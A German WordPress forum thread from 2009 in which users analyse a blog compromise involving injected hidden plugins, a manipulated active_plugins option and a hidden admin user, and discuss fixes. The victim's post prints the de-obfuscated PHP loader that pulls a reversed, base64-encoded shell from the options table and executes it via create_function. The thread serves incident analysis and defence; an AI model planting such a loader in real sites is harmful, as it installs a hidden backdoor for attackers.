WP 2.7 Gibts ne Lücke?

miccom · 13.02.2009, 22:19

Ohne jetzt Panik verbreiten zu wollen, was haltet ihr von diesem Beitrag, wo scheinbar ein aktuelles WP Opfer eines Angriffs wurde:
Blog gehackt (was:Was ist nur mit Adsense los?) | Sebbis Blog

hakre · 18.02.2009, 10:30

Ja, dass sieht ganz so aus. Ich bin noch nicht ganz durch (dort sind noch weitere Forum Posts verlinkt) aber es sieht ganz so aus, dass (auch in WP 2.7) Dateien von Remote aus auf den Server hochgeladen und ausgeführt werden können.

Das Ziel scheint das Plugin-Verzeichnis zu sein. Empfehlenswert dürfte sein, nach der (sauberen) Installation der eigenen Plugins, das Verzeichnis auf Schreibgeschützt zu setzen. Den PHP Errorlog beobachten, ob hier versucht wird Dateien anzulegen.

Bei WordPress genrell empfehlenswert ist der Betrieb mit Suhosin. Das ist eine PHP Erweiterung die bei einigen Problemen, die aus veraltetem PHP Code resultieren, helfen kann (nicht muss!). Es ist generell empfehlenswert, bei PHP Anwendungen mit alter Codebasis (u.a. auch bei WordPress der Fall) diese nur unter Suhosin zu betreiben. Daran lässt sich meiner Meinung auch ein Hoster messen: Ob er Suhosin mit anbietet (besser) oder nicht (nicht besser).

Anmerkung:

Ein Problem scheint zu sein, dass Wordpress nicht alle aktivierten Plugins anzeigt. Der Angreifer hat sich hier zu Nutze gemacht, dass Plugins in Unterverzeichnisse von bereits bestehenden Plugins kopiert werden können und Wordpress diese _nicht_ als aktiv Anzeigt. Der Admin ist also Blind. Da sollte der WordPress Kern nachgebessert werden, so dass wenigstens sämtliche aktive Plugins gelistet werden.

Anmerkung 2:

Die Lücke gibts, sie ist bekannt:
#6871 (Plugins without headers don't show in the plugins page, keeping some exploits hidden) ? WordPress Trac (seit 10 Monaten publik)
#5564 (Non Plugin Files Cab Be Easily Included In Current Plugins using database Manipulation) ? WordPress Trac (seit 14 Monaten publik)

Die Frage ist nur, wie ein sinnvoller Schutz davor in WordPress aussehen kann. Natürlich wäre es schön, wenn hier auf verschiedene Ebenen was laufen würde (zB. bevor überhaupt eine Datei durch einen Angreifer mit WordPress auf den Server hochgeladen werden wird) allerdings sollte zumindest für den Admin die möglichkeit bestehen, die aktuelle Konfiguration im Backend einsehen zu können.

codestyling · 18.02.2009, 11:00

Die Unsichtbarkeit eingeschleuster Plugins ist hier behoben worden: #6871 (Plugins without headers don't show in the plugins page, keeping some exploits hidden) ? WordPress Trac
Nach einiger Recherche zu diesem Thema sieht es so aus, als ob das über Google Code gehostete Plugin Spam Karma 2 diese (oder eine neue) Lücke ausnutzbar ist. Kann jemand, der betroffen ist, bestätigen, dass er dieses Plugin einsetzt und mir zu Analysezwecken das Plugin so schicken, wie es derzeit im Blog installiert ist (gezipped) ?

Zum Autor diese Plugins findet man auf seiner Seite http://unknowngenius.com/blog/wordpress/spam-karma/:

Zitat:

As of January 1st, 2009, I am no longer developing, maintaining or supporting Spam Karma. If you want to contribute to its code or download the latest GPL release, you can check out the code repository, over at Google Code.
Thanks.

Also per 1.1.2009 Support und Entwicklung eingestellt! Es würde sich eine tiefere Analyse empfehlen, denn ich habe auch eine Exploitbeschreibung in diesem Zusammenhang (Spam Karma Plugin) gefunden, die ich noch durchgehen muss.

hakre · 18.02.2009, 11:14

Der Fix in patchset 8495 von #6871 greift nicht bei Angriffen, die Dateien in das Plugin Verzeichniss einschleusen. Genau diesen Fall beschreibt der Bericht in Sebbis Blog. Zitat: "SK2/sk2_plugins/sk2_referrer_check_plugin_02092008.cache", es wird also trotz dem "Fix" weiter munter injected.

Dies steht im Widerspruch zur Aussage von codestyling, dass die "Unsichtbarkeit eingeschleuster Plugins [...] behoben worden [sei]".

Im Gegenteil, die Sichtbarkeit von allen aktiven Plugins stellt die Pluginseite gar nicht da, die Routine zum auslesen aller Plugins setzt beim Dateisystem an (und zwar unvollständig), beim Einladen der Plugins wiederum wird eine andere Routine verwendet, die direkt auf den Optionen aufbaut.

Ferner hat dies nichts mit einem bestimmten Plugin zu tun (ich denke auch hier liegt codestyling daneben) sondern lediglich damit, das der Schadcode in ein bereits bestehendes Plugin Verzeichnis injeziert werden muss, um den Fix aus #6871 zu übergehen.

codestyling · 18.02.2009, 11:23

Zitat:

Zitat von hakre

Der Fix in patchset 8495 von #6871 greift nicht bei Angriffen, die Dateien in das Plugin Verzeichniss einschleusen. Genau diesen Fall beschreibt der Bericht in Sebbis Blog. Zitat: "SK2/sk2_plugins/sk2_referrer_check_plugin_02092008.cache", es wird also trotz dem "Fix" weiter munter injected.

Dies steht im Widerspruch zur Aussage von codestyling, dass die "Unsichtbarkeit eingeschleuster Plugins [...] behoben worden [sei]".

Im Gegenteil, die Sichtbarkeit von allen aktiven Plugins stellt die Pluginseite gar nicht da, die Routine zum auslesen aller Plugins setzt beim Dateisystem an (und zwar unvollständig), beim Einladen der Plugins wiederum wird eine andere Routine verwendet, die direkt auf den Optionen aufbaut.

Ferner hat dies nichts mit einem bestimmten Plugin zu tun (ich denke auch hier liegt codestyling daneben) sondern lediglich damit, das der Schadcode in ein bereits bestehendes Plugin Verzeichnis injeziert werden muss, um den Fix aus #6871 zu übergehen.

Und was meinst du, kann man mit Spam Karma machen ?
Es hat ein Plugin im Plugin Konzept, kann seine "Sub-Plugins" nachladen und vieles mehr. Genau deshalb sehe ich das als potentielle Quelle für das Einschleusen von remote bereitgestelltem Code.
Deshalb würde ich das eben auch mal durchsehen wollen, denn lieber ein false positive als ein Tor offen lassen. Und im entsprechenden Blog hat er ja in mehrere Artikel geschrieben, dass er Spam Karma toll findet und einsetzt.
Ich hab nie behauptet, das hintenrum eingeschleuste Plugins damit erschlagen sind nur das es für den Normalfall behandelt ist. Für das Einschleusen ist meist ein Plugin/Theme zuständig und nicht der WP Core, deswegen ja auch die Frage nach dem Plugin. Denn der Sourcecode dieses speziellen Plugins enthält remote Nachlade Code von Haus aus!

hakre · 18.02.2009, 11:36

Was tun? - Gute Frage! Der erste Ansatz der mir in den Sinn gekommen ist, wäre eine defenitive Liste aller installierten Plugins auszugeben. D.h. einen Fix oder eine Erweiterung für die Plugins Seite im Admin. So besteht zumindest eine besser Kontrollmöglichkeit für WordPress Administratoren, dass Sie sich ein genaueres Bild über die installierten Plugins machen können.

Desweiteren sollte das Plugin Verzeichnis vor Uploads geschützt werden (keine Schreibberechtigungen für den User, unter dem PHP auf den Webserver läuft).

Im Grunde genommen müssen Uploads nur in den upload Ordner gehen und nirgendwo anders hin. Alles weitere kann ein Admin dann veranlassen, wenn es nötig ist.

Falls das Plugin SpamKarma gravierende Sicherheitslücken aufweist und es nicht weiter gepflegt wird, sollte es schleunigst deaktiviert und entfernt werden. Wie es aber aussieht, wird das Plugin weiterhin gepflegt und zwar in einem bei Google gehosteten Repository. Ich selber kenne das Plugin aber nicht und kann deswegen zu seiner Qualität nichts sagen. Generell sind Plugins, die Dinge nachladen und dabei schlampig vorgehen, eine potentiell gefährliche Sache.

codestyling · 18.02.2009, 11:57

Zitat:

Zitat von hakre

Desweiteren sollte das Plugin Verzeichnis vor Uploads geschützt werden (keine Schreibberechtigungen für den User, unter dem PHP auf den Webserver läuft).

Im Grunde genommen müssen Uploads nur in den upload Ordner gehen und nirgendwo anders hin. Alles weitere kann ein Admin dann veranlassen, wenn es nötig ist.

Damit kann WordPress die Automatischen Updates wieder ausbauen lassen, denn unter diesen Umständen kann man weder Plugins vom Repository aus plugins.wordpress.org über das Backend installieren noch updaten lassen.
Mit solchen Schnellschüssen ist niemandem geholfen sondern es wird nur der Supportaufwand weiter in die Höhe getrieben.

hakre · 18.02.2009, 12:34

*Hüstl* Ja, so könnte man argumentieren. Allerdings würde ich der Sicherheit wegen erstmal in Erwägung ziehen, dass die Automatischen Updates generell auch ausschaltbar sein sollten (gerne auch die Remote Checks), den hierüber lässt sich ja auch noch gefährlicher Code auf den eigenen Server laden.

Wie dem auch sei, wenn man selbsttätig verhindern möchte, das ein fehlerhaftes WP oder Plugins Code nachlädt um es auf der Platte zu speichern und um es dann als unsichtbares Plugin nachzuladen (wie in diesem Fall), so kann man dies selber bereits mit dem Entzug der Schreibrechte erreichen. Wie ich ja bereits schrieb sprach ich vom normalen Betrieb der Seite und nicht während des Updates.

Eine weitere Lösung wird wohl auf jeden Fall noch mindestens bis zum nächsten WordPress-Update dauern, da wie berichtet der Fehler noch nicht in aller Gänze behoben wurde. Und so richtig habe ich auch noch keine abschliessende Lösung erarbeiten können, wie die Code-Injection per Optionswert sinnvoller Weise komplett unterbunden werden kann. Schlieslich ist jedes Plugin im Grunde eine Code-Injection.

Sebbi · 19.02.2009, 01:35

Guten Abend,

ich bin der Autor des hier genannten - und gehackten - Blogs. Vielleicht kann ich hier einige Dinge zu diesem Hack klarstellen.

1. Spamkarma ist nicht das Einfallstor gewesen, das Plugin hat sich nur zufällig in das Verzeichnis eingenistet. Ich weiß das, weil andere befallene Wordpress Installationen auf dem gleichen Server, das "Plugin" (also den Hack) in anderen Verzeichnissen liegen hatten.

2. Wegen der anderen Wordpress Installationen auf unserem Server, die zum Großen Teil noch nicht die aktuelle Wordpress Version benutzen, bin ich mir nicht sicher, ob der Fehler tatsächlich auch ein Problem von 2.7 ist. Möglicherweise sucht ein infiziertes Wordpress nach anderen Installationen auf dem Server und infiziert sie über das Dateisystem (bei uns sind alle Webverzeichnisse durch den Webserver les- und schreibbar). Allerdings wurde bei mir ganz sicher der Eintrag "active_plugins" in der Datenbanktabelle wp_options manipuliert, was wiederum gegen diese Theorie spricht, da das nicht über das Dateisystem bewerkstelligt werden kann.

3. Ein Blog auf unserem Server hatte ebenfalls die schadhafte Datei im Pluginverzeichnis, allerdings keine ungewöhnlichen Einträge in der Datenbank. Das Blog ist privat und von außen durch einen .htaccess Passwortschutz geschützt.

4. Mal abgesehen davon, dass so ein Exploit nicht möglich sein sollte, sollte Wordpress vielleicht doch alle Plugins anzeigen, die es mittels active_plugins lädt statt nur die Plugins, die es im Dateisystem findet. Bei mir wurde außerdem ein Adminuser angelegt, der nicht in der normalen Userliste auftauchte, sondern nur, wenn man einen Benutzer löscht. Dort gibt es dann eine Abfrage wem die Artikel zugewiesen werden sollen und dort tauchte der versteckte User auf. Auch das sollte nicht passieren können.

5. Die automatische Updatefunktion läuft bei mir über FTP und nur mit dem FTP-Passwort. Das sollte kein Sicherheitsproblem sein, oder?

Falls ihr noch Fragen habt, ich habe den Thread abonniert. Nur zu.

Für mich war das ganze sehr ärgerlich, weil ich es erst bemerkt habe als Google mich schon aus dem Index bzw. ganz weit nach hinten geschubst hat. An Hand der Logdateien auf unserem Server konnte ich leider nicht feststellen wie das passieren konnte. Zum fraglichen Zeitpunkt (Datum der Plugindatei) ist nichts ungewöhnliches zu sehen ...

P.S.:
Noch ein paar Links.
Ein Blog, das scheinbar dem gleichen Exploit zum Opfer gefallen ist: Mediengestalter Blog gehackt und keiner hats gemerkt (Wordpress Exploit)
Noch eines:
Wordpress exploit: we been hit by hidden spam link injection Linux by Examples

Hier eine ausführlichere Beschreibung:
Wordpress Exploit: wordpress_options (etwas länger her)

Und dann habe ich noch einen Exploitcode für ein altes Wordpress-MU gefunden, der aber genau das macht was bei mir passiert ist, die Manipulation von "active_plugins":
Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit

P.P.S.: Der Code des Hack-Plugins, das ich bei mir gefunden habe. Die Datei ist exakt 48993 Bytes groß.

Eine zweite Datei war ebenfalls noch dabei, die mit PHP-Kommentaren zur Verwirrung zugepflastert war. Ohne Kommentare schaut es so aus:

PHP-Code:

  <?php
global $wpdb;
$trp_rss=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'"); 
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
?>

In der dortigen option stand diverses und ein String, der mit obiger Funktion in create_function verwendet wird. Darin wird ein base64 kodierter String dekodiert und evaluiert, der dann den eigentlichen Hack-Code enthält (Datei im Anhang). Scheinbar eine Art Shell, die bei Vorhanden sein bestimmter Cookies aktiv wird.

Mehr weiß ich jetzt noch nicht ... Insgesamt sieht es sehr ähnlich wie der Code auf der oben verlinkten Seite (Wordpress Exploit: wordpress_options) aus.

hakre · 19.02.2009, 16:13

Sebbi, danke für die Rückmeldung. Ich habe mal einen Patch gegen Bleeding gemacht, der die serialisierten Daten aus den Optionen anzeigbar macht. Ist kein vollständiger Editor, kann aber dem Admin helfen da die Bordmittel von WP dadurch erweitert werden:

#9175 (Admin Option Page lacks Infos about serialized Option Values) ? WordPress Trac

Kümmere mich gleich noch um einen Patch für den Plugins Bereich im Admin, dachte nur, dass diese Möglichkeit zur Ansicht der Werte grundlegender ist.